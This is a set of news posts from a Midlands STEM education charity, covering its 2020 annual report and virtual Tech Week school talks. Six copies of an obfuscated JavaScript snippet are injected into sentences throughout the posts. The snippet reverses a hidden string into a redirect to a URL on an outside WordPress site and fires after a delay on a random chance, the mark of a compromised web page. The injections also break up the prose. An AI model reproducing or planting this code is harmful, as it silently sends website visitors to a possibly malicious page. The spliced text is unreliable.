Midlands Science Launch 2020 Annual Report

Midlands Science has this week launched its annual report for 2020. This report is presented at a time when there is more global awareness than ever before of the role of science and technology in comprehending and handling infectious disease. Against a dramatically different backdrop and as the world jointly tackles Covid-19, Midlands Science has continued to engage in valuable STEM education development work over the past year.

Jackie Gorman, CEO of Midlands Science said,

‘So many aspects of life have un $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doubtedly changed over the past twelve months as we have worked together to s top the spread of the virus. In a time of great disruption and uncertainty, we have seen everyone coming together collectively for the common good. I would like to express my sincere thanks to all of Midlands Science trustees, global and Irish partners and sponsors and all other providers and associates for their ongoing support as we work towards a well-qualified and increasingly diverse STEM skills base here in the Midlands region. We had a total of 22, 245 participants last year across all activities. As the whole world is striving to contain Covid-19, one of the things that we can be certain of is the vital role that science is playing in helping to bring this pandemic to an end.”

The ongoing global crisis has really brought an awareness to the way in which we all work, learn and consume information and is having rapidly evolving impacts on global business practices.  Midlands Science is funded by a number of public, private and philanthropic sources including the Ireland Funds Donor Network and Rethink Ireland, which provides funding and vital capacity building supports.

Deirdre Mortell, CEO of Rethink Ireland commented,

‘Midlands Science were awarded a Rethink Ireland grant in 2018. With the Covid-19 pandemic, we are all suddenly virus experts, generating an opportunity to continue generating interest in STEM education among young people. Midlands Science engages and encourages young people to pursue careers in science-related fields and shows them that science can be exciting and meaningful, as well as educational. It has been a privilege to play a part in their journey.”

Unfortunately, the pandemic is not yet over but as we look towards recovery, Midlands Science will continue to deliver to deliver impactful science education awareness particularly in the Midlands – working in partnership across the outreach ecosystem and with industry, Government and academia.  Details of all activities which were undertaken in 2020 are detailed in the annual report which will be available to view on www.midlandsscience.ie and we look forward to continuing this work with everyone who has a stake in realising future STEM related education development opportunities here in the Midlands in the coming years

#believeinscience

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Talking Tech careers across the region!

Local development company, Midlands Science is delighted to be celebrating Ireland’s Tech Week across the Midlands including in Westmeath this week by hosting a number of virtual talks for secondary schools with the help and support of a range of voluntary corporate speakers. Tech Week is a nationwide festival of technology driven events aimed at students, parents and the public. This festival offers experiential engagement to students which will allow them to develop their interest in technology, advance creativity and innovation while also let them have a lot of fun! Over the past year, more than ever before, people of all ages have seen just how important and inevitable technology is. We have witnessed how the development of new technologies help to save lives; improves how we work and makes the world a better to be. The recent positive impacts of technology on society has helped us to reach new heights that have never before been imagined.

Mark Welsh, Energy Services Manager of Energia who delivered a virtual talk for the students of Mercy school in Rochfortbridge said,

‘Energia is delighted to team up with Midlands Science for Tech Week 2021, in promoting the world of technology. As a company, Energia believes it is critically important to creative positive learning experiences for young people and to encourage as many of them as possible to become curious, ask questions and become passionate about science and technology. Unfortunately, many skills gaps still exist in these fields and in order to ensure we are prepared for the future with a pipeline of the right talent, it is really important to promote and develop science and technology education as early as possible in a student’s education.’

Technology is not going to slow $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}down and that’s why it is so important for us to $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do our best to keep up with it. This annual event usually brings together many tech experts and enthusiasts to network, provide demonstrations, deliver workshops and take part in discussions. As is the case for many other public events, this year will be different but it is still important to delve in to the ever-evolving world of tech and to demonstrate just how diverse it can be.

Other digital STEM careers talks were held in Athlone and Kilbeggan and another was virtually hosted at Colaiste Mhuire in Mullingar. This talk was delivered by Irish Manufacturing Research (IMR)

Isabel Meza Silva, from Irish Manufacturing Research (IMR) said,

‘ We are very aware of challenges that still exist when it comes to trying to attract the next generation in to science and technology careers, especially women. Tech Week is a valuable voice in working to instil a passion in young people for the STEM subjects in order to hopefully encourage more of them to consider these fields when applying to third-level courses. IMR is delighted to be a part of Tech Week in partnership with Midlands Science and we look forward to talking to as many students as possible in the years ahead to show the work we $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do and spread the message that there are so many potential opportunities in the worlds of science, technology and engineering.’

 

 

 

Virtual Tech Week Talks Planned for the Midlands

Midlands Science is delighted to be celebrating Ireland’s Tech Week next week across the Midlands by hosting a number of virtual talks for secondary schools with the help and support of a range of voluntary corporate speakers.

Tech Week is a nationwide festival of technology driven events aimed at students, parents and the public. This festival offers experiential engagement to students which will allow them to develop their interest in technology, advance creativity and innovation while also let them have a lot of fun! Over the past year, more than ever before, people of all ages have seen just how important and inevitable technology is for us all. We have witnessed how the development of new technologies help to save lives; improves how we work and makes the world a better place to be. The recent positive impacts of technology on society has helped us to reach new heights that have never before been imagined.

Gerry Buckley, founder and CEO of NIS, a leading IT services company based in the Midlands said,

‘I am delighted to partake in this year’s Tech Week by virtually visiting a number of local Midlands schools to demonstrate the critical role that technology plays in so many areas of life. Midlands Science places a strong emphasis on making that important connection between science, technology and real-world jobs and this really encourages young people to pursue careers in these fields. The current pandemic that we have been collectively facing over the past year has greatly highlighted how critical technology is in our lives and whilst many students are already acutely aware of this, we also need to deliver the message that there is so much career diversity when it comes to the Tech world. All sec tors from transportation to education and from healthcare to financial services rely on the latest technologies to operate effectively and dedicated events like Tech Week really help raise awareness of the wide spectrum of jobs that are available in this industry.’

Technology is not going to slow $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}down and that’s why it is so important for us to $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do our best to keep up with it. This annual event usually brings together many tech experts and enthusiasts to network, provide demonstrations, deliver workshops and take part in discussions. As is the case for many other public events, this year will be different but it is still important to delve in to the ever-evolving world of tech and to demonstrate just how diverse it can be.

CEO of Midlands Science, Jackie Gorman said,

‘We are really looking forward to virtually visiting schools across the Midlands during Tech Week to give students the opportunity to learn more about the latest technologies and to talk to them about the world of opportunities associated with it as a sec tor. We would like to take this opportunity to thank the many corporate speakers who will be giving their time to help us celebrate and showcase all things tech and to hopefully inspire more young people to consider the technology fields when to comes to future course and career choices.’